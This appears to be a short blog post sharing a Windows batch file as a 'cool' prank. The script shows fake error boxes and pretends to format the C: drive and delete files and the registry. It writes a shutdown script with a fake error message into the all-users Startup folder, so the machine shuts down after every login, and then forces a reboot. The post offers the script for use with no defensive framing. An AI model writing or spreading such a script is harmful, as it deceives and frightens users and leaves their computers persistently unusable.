One cool batch file – ;-D

@echo off
echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat
copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\”
cls
echo Maximize this window to continue
echo Wscript.Sleep 4000 > C:\sleep1.vbs
call C:\sleep1.vbs
echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs
call c:\error1.vbs
echo Formatting c: drive…
echo Wscript.Sleep 2000 > C:\sleep2.vbs
call C:\sleep1.vbs
echo The following files were are infected and should be deleted immediately
call C:\sleep1.vbs
dir /s C:\*.exe
dir C:
call C:\sleep1.vbs
cls
echo Deleting files 36 percent complete
call C:\sleep2.vbs
echo Deleting files 79 percent complete
call C:\sleep2.vbs
echo Deleting files 100 percent complete
call C:\sleep2.vbs
echo Files successfully deleted
call C:\sleep1.vbs
cls
echo All files in the windows registry were also deleted
echo A full reinstall is required to continue using windows
call C:\sleep2.vbs
echo Msgbox”Windows is not responding, shutting down” > c:\error2.vbs
call C:\error2.vbs
call C:\sleep2.vbs
echo Msgbox”Applications will automatically closed, all unsaved data will be lost” > C:\error3.vbs
call C:\error3.vbs
cls
ECHO

ECHO ————————————————————————–
call C:\sleep1.vbs
shutdown -r -t 5

Posted in Batch files and tagged , .

Leave a Reply